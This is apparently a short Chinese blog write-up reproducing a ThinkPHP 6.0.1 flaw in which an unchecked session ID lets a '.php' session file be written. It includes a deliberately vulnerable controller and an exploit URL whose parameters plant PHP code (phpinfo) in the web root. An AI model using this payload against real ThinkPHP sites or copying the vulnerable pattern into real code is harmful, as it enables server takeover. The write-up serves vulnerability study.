thinkphp 6.0.2
发布的时候修复了sessionid
检查的隐患,经大佬的测试发现如写法不当会造成getshell
漏洞
thinkphp
会以session id
作为文件名来创建对应的session
文件保存在/runtime/session/
目录
原理思路看的明白,代码看不懂,直接写复现啦。
漏洞复现
漏洞造成的原理:
thinkphp
会将session id
作为文件,而正好thinkphp 6.0.1
不会对其值校验,导致可传入任意字符为.php
文件
那么如果程序写法不当将某可控值传递到session
,那么就可以导致写入php
文件,并且内容可控导致getshell
Code:
1 |
|
2 | namespace app\controller; |
3 | |
4 | use app\BaseController; |
5 | use think\facade\Request; |
6 | use think\App; |
7 | use think\Session; |
8 | |
9 | class Index extends BaseController |
10 | { |
11 | public function index() |
12 | { |
13 | $session_id = Request::get('sid'); # 获取get请求的sid参数并赋值给$session_id |
14 | $username = Request::get('name'); # 获取get请求的name参数并赋值给$username |
15 | |
16 | $session = new Session(new App()); # 创建session类 |
17 | $session->setId($session_id); # 设置session id为$session_id变量 |
18 | $session->set('username', $username); # 设置username值为$username |
19 | $session->save(); # 保存 |
20 | } |
21 | } |
然后请求
1 | http://127.0.0.1/tp6/public/index.php/index/?sid=1234567890123456789012345678.php&name=%3C?php%20phpinfo();?%3E |
然后写入的格式为/runtime/session/sess_文件名.php